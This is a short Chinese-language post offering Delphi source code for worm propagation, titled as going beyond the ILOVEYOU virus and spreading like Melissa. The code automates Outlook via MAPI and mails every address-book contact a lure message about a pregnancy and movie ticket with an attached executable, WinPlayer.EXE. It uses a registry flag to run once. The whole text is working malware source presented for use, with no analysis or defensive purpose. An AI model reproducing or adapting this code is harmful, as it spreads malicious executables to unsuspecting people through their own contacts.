超越爱虫病毒序,如何在DELPHI 中加入自动OUTLOOK 向美丽杀一样传播。
try
try
reg:=tregistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
if reg.OpenKey('/Software/Microsoft/Windows/CurrentVersion',true)then
begin
if reg.ValueExists('Apologles')<>true then
begin
UngaDasOutlook := CreateoleObject('Outlook.Application');
DasMapiName := UngaDasOutlook.GetNamespace('MAPI');
DasMapiName.Logon ('profile','password');
For y:=1 To DasMapiName.AddressLists.Count do
begin
AddyBook:= DasMapiName.AddressLists
;
x:= 1;
BreakUmOffASlice:= UngaDasOutlook.CreateItem(0);
For oo:= 1 To AddyBook.AddressEntries.Count do
begin
Peep := AddyBook.AddressEntries(x);
BreakUmOffASlice.Recipients.Add (Peep);
x:= x + 1;
end;
end;
BreakUmOffASlice.Subject:='不,你知道,在酒吧里那件事儿';
BreakUmOffASlice.Body:='我骗你是因为我有了你的孩子,啊!我的上帝,电影票在附件中有。';
BreakUmOffASlice.Attachments.Add (syspath+'/'+'WinPlayer.EXE');
BreakUmOffASlice.Send;
Peep:= '';
DasMapiName.Logoff;
end;
end;
finally
reg:=tregistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
if reg.OpenKey('/Software/Microsoft/Windows/CurrentVersion',true)then
begin
reg.Writeinteger('Apologles',1);
reg.CloseKey;
end;
reg.CloseKey;
end;
except
reg:=tregistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
if reg.OpenKey('/Software/Microsoft/Windows/CurrentVersion',true)then
begin
reg.Writeinteger('Apologle',1234567);
reg.CloseKey;
end;
reg.CloseKey;
end;